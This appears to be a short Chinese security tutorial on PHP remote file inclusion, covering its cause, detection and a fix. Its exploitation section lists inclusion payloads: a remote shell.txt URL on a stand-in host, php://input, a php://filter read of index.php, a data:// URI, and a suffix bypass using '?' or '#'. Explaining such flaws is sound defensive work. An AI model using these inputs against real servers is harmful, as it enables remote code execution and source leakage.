远程文件包含(Remote File Include)
1、漏洞简介
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
2、漏洞成因
文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在远程服务器上市,就形成的远程文件包含漏洞。
3、漏洞的检测及利用
无通用的检测方法,但是大部分扫描器都支持远程文件包含漏洞的检测。
以下是常用的引入远程文件的方法
常见的协议:
[http|https|ftp]://example.com/shell.txt
(需要allowurlfopen=On并且 allowurlinclude=On)
利用php流input:
php://input
需要allowurlinclude=On,参考php:// — 访问各个输入/输出流(I/O streams),深入剖析PHP输入流 php://input
利用php流filter:
php://filter/convert.base64-encode/resource=index.php
需要allowurlinclude=On,参考php:// — 访问各个输入/输出流(I/O streams)
利用data URIs:
data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allowurlinclude=On)
当服务器自动给文件增加后缀时可以在url之后增加'?'或者'#',便可绕过。
4、漏洞修复
对引入文件包含的参数进行过滤,或者对所引入的文件的域进行限制,禁止服务器访问可信域以外的文件。